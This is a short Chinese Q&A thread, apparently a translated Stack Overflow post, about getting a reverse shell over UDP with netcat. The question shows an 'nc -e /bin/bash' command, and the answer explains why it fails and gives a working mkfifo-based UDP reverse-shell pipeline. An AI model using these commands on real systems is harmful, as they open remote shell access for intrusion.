使用netcat

时间:2017-06-23 21:54:49

标签: shell udp netcat

我想使用netcat通过UDP获得反向shell。 Netcat默认通过TCP发送流量,因此为了通过UDP发送,我运行-u选项,如下所示:

主持人1:

nc.traditional -l -p 4444 -v -u

主持人2:

nc.traditional localhost 4444 -e /bin/bash -u

但是当我键入bash命令时,我没有得到输出。那是为什么?

1 个答案:

答案 0 :(得分:1)

这有几个问题:

  1. 您在主机2上使用localhost。这是一个特殊的主机名,引用当前主机,而不是主机1.
  2. UDP没有连接。如果主机1没有先收到消息,它就不知道在哪里发送数据包。
  3. bash逐个字符地读取输入,这对于非流数据包数据不起作用。
  4. 您可以使用流连接ncbash,然后发送即时数据包,以便主机1知道您输入的命令的发送位置:

    主机1:

    nc.traditional -l -p 4444 -v -u
    

    主持人2:

    mkfifo fifo
    nc.traditional -u host1 4444 < fifo |
    { 
      echo "Hi"
      bash
    } > fifo